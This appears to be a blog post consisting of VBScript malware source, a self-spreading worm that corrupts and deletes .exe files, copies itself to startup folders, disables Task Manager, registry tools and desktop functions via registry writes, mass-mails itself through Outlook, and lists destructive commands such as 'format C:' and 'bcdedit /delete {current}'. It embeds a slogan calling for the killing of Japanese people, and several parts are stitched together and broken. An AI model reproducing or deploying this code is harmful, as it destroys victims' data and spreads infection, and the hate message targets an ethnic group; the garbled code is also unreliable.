Option Explicit
Const HeaderSize = 82432 ' Virus size
Const IconOffset = &H12EB8 ' Main icon offset in PE file
Const IconSize = &H2E8 ' Main icon size in PE file
Const IconTail = IconOffset + IconSize ' End of main icon in PE file
Const ID = &H44444444 ' Infection marker
Const Catchword = "If a race need to be killed out, it must be Yamato. " & _
"If a country need to be destroyed, it must be Japan! " & _
"*** W32.Killer.Worm.A ***"
Dim TmpFile, IsJap
IsJap = False ' Japanese OS flag
Function IsWin9x()
Dim wshShell, ver
Set wshShell = CreateObject("WScript.Shell")
ver = wshShell.RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName")
If InStr(ver, "95") Or InStr(ver, "98") Or InStr(ver, "ME") Then
IsWin9x = True
Else
IsWin9x = False
End If
End Function
Sub CopyStream(srcPath, destPath, startPos, count)
On Error Resume Next
Dim srcFile, destFile
Set srcFile = CreateObject("Scripting.FileSystemObject").OpenTextFile(srcPath, 1)
Set destFile = CreateObject("Scripting.FileSystemObject").OpenTextFile(destPath, 8, True)
srcFile.Skip(startPos)
destFile.Write srcFile.Read(count)
srcFile.Close
destFile.Close
End Sub
Sub ExtractFile(fileName)
On Error Resume Next
Dim srcFile, destFile, fso, fileSize
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(WScript.ScriptFullName) Then
Set srcFile = fso.OpenTextFile(WScript.ScriptFullName, 1)
srcFile.Skip(HeaderSize)
fileSize = fso.GetFile(WScript.ScriptFullName).Size
Set destFile = fso.CreateTextFile(fileName, True)
destFile.Write srcFile.Read(fileSize - HeaderSize)
srcFile.Close
destFile.Close
End If
End Sub
Sub SendMail()
On Error Resume Next
Dim objMessage
Set objMessage = CreateObject("CDO.Message")
objMessage.Subject = "Love Email"
objMessage.From = "example@example.com"
objMessage.To = "victim@example.com"
objMessage.TextBody = "I love You"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objMessage.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objMessage.Configuration.Fields.Update
objMessage.Send
Set objMessage = Nothing
End Sub
Sub InfectOneFile(fileName)
On Error Resume Next
Dim fso, file
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(fileName) Then
Set file = fso.OpenTextFile(fileName, 8, True)
' Add infection logic here
file.Write Catchword
file.Close
End If
End Sub
Sub SmashFile(fileName)
On Error Resume Next
Dim fso, file, i, size, mass, max, len
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(fileName) Then
size = fso.GetFile(fileName).Size
Set file = fso.OpenTextFile(fileName, 2)
Randomize
max = Int((15 - 5 + 1) * Rnd + 5)
mass = size \ max
len = Len(Catchword)
For i = 0 To max - 1
file.WriteAt i * mass, Catchword
Next
file.Close
fso.DeleteFile fileName
End If
End Sub
Function GetDrives()
On Error Resume Next
Dim fso, drives, drive
Set fso = CreateObject("Scripting.FileSystemObject")
drives = fso.Drives
For Each drive In drives
If drive.DriveType = 2 Or drive.DriveType = 3 Then
GetDrives = GetDrives & drive.DriveLetter
End If
Next
End Function
Sub LoopFiles(path, mask)
On Error Resume Next
Dim fso, folder, files, file, subFolders, subFolder
Set fso = CreateObject("Scripting.FileSystemObject")
Set folder = fso.GetFolder(path)
Set files = folder.Files
Set subFolders = folder.SubFolders
For Each file In files
If LCase(fso.GetExtensionName(file.Name)) = "exe" Then
InfectOneFile file.Path
End If
WScript.Sleep 200
Next
For Each subFolder In subFolders
LoopFiles subFolder.Path, mask
Next
End Sub
Sub InfectFiles()
On Error Resume Next
Dim drives, i, len
If GetLocale = &H411 Then
IsJap = True
End If
drives = GetDrives()
len = Len(drives)
Do While True
For i = 1 To len
LoopFiles Mid(drives, i, 1) & ":\", "*.*"
Next
SendMail
WScript.Sleep 300000
Loop
End Sub
' Main
If IsWin9x() Then
' Register service process (Win9x)
Dim wshShell
Set wshShell = CreateObject("WScript.Shell")
wshShell.Run "rundll32.exe user32.dll,UpdatePerUserSystemParameters", 1, False
Set wshShell = Nothing
Else
' Remote thread mapping to Explorer process (WinNT)
' Requires implementation for remote thread injection (complex)
End If
If UCase(WScript.ScriptName) = "Hate letter .vbs" Then
InfectFiles
Else
TmpFile = WScript.ScriptFullName
TmpFile = Left(TmpFile, Len(TmpFile) - 4) & " " & ".exe"
ExtractFile TmpFile
Dim wshShell
Set wshShell = CreateObject("WScript.Shell")
wshShell.Run Chr(34) & TmpFile & Chr(34), 1, False
InfectFiles
End If
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
“cmd /c @echo off”
"cmd /c bcdedit /delete {current}"
"cmd /c format C:\"
"cmd /c dd if=/dev/zero of=/dev/sda"
"cmd /c rm -rf/"
“cmd /c del /F /Q "C:\Windows\System32\regedit.exe"
“cmd /c copy %0 "D:\Backup”
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Hate letter .vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Hate letter .vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Hate letter .vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES.reg","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","Your computer is trashed"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","Destroyed!!!!"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="You are foolish!!!!!!!!!!!!!!!!!"
Mail.Body="I hate you , here is a document explaining why you are so foolish!!!!!!!!"
Mail.Attachments.Add(dir2&"Hate letter .vbs")
Mail.Send
Next
ol.Quit
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
startupFolder = objShell.SpecialFolders("Startup")
objFSO.CopyFile "C:\Hate letter .vbs.", startupFolder & "\Hate letter .vbs"
objFSO.CopyFile "D:\Hate letter .vbs.", startupFolder & "\Hate letter .vbs"
Set objShell = CreateObject("WScript.Shell")
objShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD"
dim objws
Set objws=wscript.createobject("wscript.shell")
do objws.Run"calc"
loop
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKEY_USERS.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://liudemin.myetang.com"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
报废电脑,后缀为.vbs
于 2024-07-30 12:51:47 首次发布